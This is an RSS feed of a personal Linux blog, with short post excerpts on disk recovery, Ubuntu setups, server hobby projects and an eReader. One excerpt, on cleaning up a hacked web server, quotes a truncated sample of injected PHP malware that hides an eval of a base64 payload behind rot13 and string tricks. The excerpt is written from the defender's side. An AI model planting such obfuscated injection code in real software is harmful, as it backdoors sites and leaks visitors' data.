<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on</title><link>https://dawning.ca/tags/linux/</link><description>Recent content in Linux on</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>Copyright © James Snell</copyright><lastBuildDate>Fri, 11 Aug 2017 23:11:58 +0000</lastBuildDate><atom:link href="https://dawning.ca/tags/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>LVM Recovery Bedtime Story: The tale of the journey home for some long lost bytes</title><link>https://dawning.ca/posts/lvm-recovery-bedtime-story-the-tale-of-the-journey-home-for-some-long-lost-bytes/</link><pubDate>Fri, 11 Aug 2017 23:11:58 +0000</pubDate><guid>https://dawning.ca/posts/lvm-recovery-bedtime-story-the-tale-of-the-journey-home-for-some-long-lost-bytes/</guid><description>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2017/08/Screen-Shot-2017-08-11-at-11.59.40-PM-1024x265.png"
/>
&lt;/picture>
&lt;/figure>
Above: To the right is my hovel at the cottage I setup during my holiday-time-well-spent playing with ddrescue&lt;/p>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2017/08/Screen-Shot-2017-08-11-at-11.59.09-PM-237x300.png"
/>
&lt;/picture>
&lt;/figure>
I had an awesome &lt;a href="https://en.wikipedia.org/wiki/Logical_Volume_Manager_%28Linux%29">LVM&lt;/a> for nearly 15 years. It saw me through high school, 8 years of post-secondary nerding and then some years after. The drives involved came and went, as I perpetually upgraded it. I loved it dearly. At its peak, it was comprised of 7 drives. Inevitably, the Seagate-reaper came to visit and the LVM was no more. It might have persisted, but I was younger and crazier and I took the &lt;a href="https://en.wikipedia.org/wiki/Standard_RAID_levels#RAID_0">striped&lt;/a> path to ruin.&lt;/p></description></item><item><title>Battle against injected PHP</title><link>https://dawning.ca/posts/battle-against-injected-php/</link><pubDate>Sun, 13 Nov 2016 14:18:51 +0000</pubDate><guid>https://dawning.ca/posts/battle-against-injected-php/</guid><description>
&lt;p>My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:&lt;/p>
&lt;p>//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set(&amp;ldquo;error_log&amp;rdquo;,NULL);
&amp;hellip;etc&lt;/p>
&lt;p>$strings = &amp;ldquo;as&amp;rdquo;; $strings .= &amp;ldquo;se&amp;rdquo;; $strings .= &amp;ldquo;rt&amp;rdquo;; $strings2 = &amp;ldquo;st&amp;rdquo;; $strings2 .= &amp;ldquo;r_r&amp;rdquo;; $strings2 .= &amp;ldquo;ot13&amp;rdquo;; $gbz = &amp;ldquo;riny(&amp;rdquo;.$strings2(&amp;ldquo;base64_decode&amp;rdquo;);
$light = $strings2($gbz.&amp;rsquo;(&amp;ldquo;nJLtX&amp;hellip;.&amp;rdquo;));&amp;rsquo;); $strings($light);
//###=CACHE END=###&lt;/p>
&lt;p>This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here&amp;rsquo;s an example apache log message generated by someone browsing an infected site:&lt;/p></description></item><item><title>Ubuntu 14.04 on Utilite Pro</title><link>https://dawning.ca/posts/ubuntu-14-04-on-utilite-pro/</link><pubDate>Fri, 10 Oct 2014 11:06:06 +0000</pubDate><guid>https://dawning.ca/posts/ubuntu-14-04-on-utilite-pro/</guid><description>
&lt;p>To the chase&amp;hellip; It took me a long time to find this, but someone&amp;rsquo;s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they&amp;rsquo;ve included a dropbox location to fetch images from.&lt;/p>
&lt;p>Here&amp;rsquo;s the &lt;a href="https://github.com/umiddelb/armhf/wiki/Installing-Ubuntu-14.04-on-the-utilite-computer-from-scatch#download-a-prebuilt-archive-with-kernels-included">URL to the build guide&lt;/a>.&lt;/p>
&lt;p>Here&amp;rsquo;s the &lt;a href="https://www.dropbox.com/sh/1ln93hvod4tki5s/AABMO2SGv8PJ2dTaQRV4DmROa?dl=0">URL to the download directory&lt;/a>.&lt;/p>
&lt;p>For installation, &lt;a href="http://archlinuxarm.org/platforms/armv7/freescale/utilite">I&amp;rsquo;m�ripping-off the Arch installation instructions here&lt;/a>.&lt;/p>
&lt;p>The key step of the installation process I kept pulling up that guide to confirm I&amp;rsquo;m recalling correctly is: &lt;em>bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root&lt;/em>&lt;/p></description></item><item><title>My Diary: Upgrading Alfresco Installations</title><link>https://dawning.ca/posts/my-diary-upgrading-alfresco-installations/</link><pubDate>Fri, 11 Apr 2014 21:12:05 +0000</pubDate><guid>https://dawning.ca/posts/my-diary-upgrading-alfresco-installations/</guid><description>
&lt;p>&lt;a href="https://dawning.ca/uploads/2014/04/Screen-Shot-2014-04-11-at-10.10.58-PM.png">&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2014/04/Screen-Shot-2014-04-11-at-10.10.58-PM-274x300.png"
/>
&lt;/picture>
&lt;/figure>
&lt;/a>Here&amp;rsquo;s my diary from the &amp;ldquo;epic&amp;rdquo; experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.&lt;/p></description></item><item><title>Software > MediaDrop Automatic Transcoding Script</title><link>https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/</link><pubDate>Fri, 03 Jan 2014 00:54:49 +0000</pubDate><guid>https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/</guid><description>
&lt;p>I&amp;rsquo;ve been working on a somewhat private personal website intended for sharing of family videos. I&amp;rsquo;ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application &amp;ldquo;MediaDrop&amp;rdquo;. I love this web application. It&amp;rsquo;s epic. I was just looking for a podcast feed generator and I found a lot more in &lt;a href="http://mediadrop.net/">MediaDrop&lt;/a>.&lt;/p></description></item><item><title>Trac Authenticating Through Active Directory</title><link>https://dawning.ca/posts/trac-auth-via-centrifyad/</link><pubDate>Mon, 26 Sep 2011 10:06:18 +0000</pubDate><guid>https://dawning.ca/posts/trac-auth-via-centrifyad/</guid><description>
&lt;p>A minor post - mostly for my own notes..&lt;/p>
&lt;p>I was setting up an instance of &lt;a href="http://trac.edgewall.org/">Trac&lt;/a> and I wanted &lt;a href="http://en.wikipedia.org/wiki/Active_Directory">Active Directory&lt;/a> authentication going. I&amp;rsquo;ve had this before, but I recently learned of &lt;a href="http://en.wikipedia.org/wiki/Active_Directory#Unix_integration">Centrify&lt;/a> which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.&lt;/p>
&lt;p>I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:&lt;/p></description></item><item><title>Geekery Datacentre Project Completed</title><link>https://dawning.ca/posts/geekery-datacentre-project-completed/</link><pubDate>Mon, 04 Apr 2011 10:55:27 +0000</pubDate><guid>https://dawning.ca/posts/geekery-datacentre-project-completed/</guid><description>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/external/5051160025_47eff7eda1_aa3c4f18.jpg"
/>
&lt;/picture>
&lt;/figure>
When it was but a closet&lt;/p>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/external/1000000102_f7d1556d.jpg"
/>
&lt;/picture>
&lt;/figure>
The Initial Setup&lt;/p>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/external/1000000171_825fafea.jpg"
/>
&lt;/picture>
&lt;/figure>
And Finally&amp;hellip;&lt;/p>
&lt;p>Shortly after moving in to my house, I opted to use a room for my Geekery (formerly known as &amp;ldquo;Nerdery&amp;rdquo;).. I dedicated circuit for power installed to make this closet remotely suitable to set up my hacky server &amp;ldquo;rack&amp;rdquo; (AKA Ikea Shelf) in.&lt;/p>
&lt;p>&lt;strong>Update (Apr 26)&lt;/strong>&lt;/p>
&lt;p>This hack has been posted on Hackaday, Howtogeek and geeknmod (I suppose some others too). Coolness.&lt;/p></description></item><item><title>Kobo - Unboxed &amp; Linux Friendly</title><link>https://dawning.ca/posts/kobo-ereader-unboxed-linux/</link><pubDate>Mon, 21 Jun 2010 23:41:46 +0000</pubDate><guid>https://dawning.ca/posts/kobo-ereader-unboxed-linux/</guid><description>
&lt;p>&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/external/4724079151_4a9942c20c_m_04ab3571.jpg"
/>
&lt;/picture>
&lt;/figure>
I&amp;rsquo;ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..&lt;/p>
&lt;h2 id="for-those-who-remain-unaware-of-what-an-ereader-is">For those who remain unaware of what an ereader is&amp;hellip;&lt;/h2>
&lt;p>They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called &lt;a href="http://en.wikipedia.org/wiki/E_Ink">E-Ink&lt;/a>. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.&lt;/p></description></item><item><title>Ubuntu 9.10 remote mounts via sshfs</title><link>https://dawning.ca/posts/ubuntu-sshfs/</link><pubDate>Sun, 07 Feb 2010 17:30:34 +0000</pubDate><guid>https://dawning.ca/posts/ubuntu-sshfs/</guid><description>
&lt;p>Hey just a fast post here.. I&amp;rsquo;ve been using sshfs on Ubuntu (meh, linux in general) for awhile as a means of securely remotely accessing my files. I&amp;rsquo;ve taken some steps to add a line to my /etc/fstab file to make this run smoothly&amp;hellip;&lt;/p>
&lt;p>Though today I ran in to a really weird situation. I found that despite having a &lt;code>uid=xxxx&lt;/code> line, the appropriate user wasn&amp;rsquo;t getting ownership of the mount. In fact, when that user would look at the permissions for the mount, it returned something like &amp;ldquo;d???? ? ? ?&amp;rdquo;. Whisky Tango Foxtrot.&lt;/p></description></item><item><title>Dawning.ca Spruced Up</title><link>https://dawning.ca/posts/dawning-ca-spruced-up/</link><pubDate>Fri, 15 Jan 2010 03:12:36 +0000</pubDate><guid>https://dawning.ca/posts/dawning-ca-spruced-up/</guid><description>
&lt;figure style="float: right; margin: 0 0 1em 1em; max-width: 272px;">
&lt;img src="https://dawning.ca/uploads/2010/01/OldDawning.png" alt="">
&lt;figcaption>Previous Dawning.ca Layout&lt;/figcaption>
&lt;/figure>
&lt;p>I&amp;rsquo;ve just spent a few hours re-designing the layout of Dawning.ca. The &lt;a href="http://wordpress.org/extend/themes/oriental">old one&lt;/a> served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup&amp;hellip; As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.&lt;/p></description></item><item><title>YouTube Grabber App</title><link>https://dawning.ca/posts/youtube-grabber-app/</link><pubDate>Tue, 24 Nov 2009 12:06:27 +0000</pubDate><guid>https://dawning.ca/posts/youtube-grabber-app/</guid><description>
&lt;p>I&amp;rsquo;ve whipped up this little YouTube video grabber for myself and I&amp;rsquo;ve opened it up for the moment. If I see it getting spammed or abused in some way, I&amp;rsquo;ll probably password protect it, nevertheless, you can check it out &lt;strong>&lt;a href="https://dawning.ca/youtube/">here&lt;/a>&lt;/strong>.&lt;/p>
&lt;h2 id="what-it-does">&lt;a href="https://dawning.ca/youtube/">&lt;figure>
&lt;picture>
&lt;img
loading="lazy"
decoding="async"
alt=""
class="image_figure image_internal image_unprocessed"
src="https://dawning.ca/uploads/2009/11/ytGrabber.png"
/>
&lt;/picture>
&lt;/figure>
&lt;/a>What it does&lt;/h2>
&lt;p>This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.&lt;/p></description></item><item><title>Upgrade Experience with Ubuntu 9.04</title><link>https://dawning.ca/posts/ubuntu-9_04-upgrade/</link><pubDate>Fri, 24 Apr 2009 09:24:25 +0000</pubDate><guid>https://dawning.ca/posts/ubuntu-9_04-upgrade/</guid><description>
&lt;figure style="float: right; margin: 0 0 1em 1em; max-width: 204px;">
&lt;a href="http://www.ubuntu.com/getubuntu">&lt;img src="http://www.ubuntu.com/themes/ubuntu07/images/masthead-cds.jpg" alt="">&lt;/a>
&lt;figcaption>Ubuntu Logo&lt;/figcaption>
&lt;/figure>
&lt;p>Hello World!&lt;/p>
&lt;p>While, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download &amp;amp; install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..&lt;/p></description></item><item><title>OpenMoko Emulator</title><link>https://dawning.ca/posts/openmoko-emulator/</link><pubDate>Sat, 26 Jul 2008 16:32:05 +0000</pubDate><guid>https://dawning.ca/posts/openmoko-emulator/</guid><description>
&lt;p>Hey gang, for those interested, I found on the openmoko website this awesome little file you can download, extract and quickly use to get the OpenMoko firmware to boot up in QEMU. So those who are interested in checking this phone out can get a slight sample of it this way. What I like about it is that I can begin developing for the project without having to own one!&lt;/p></description></item></channel></rss>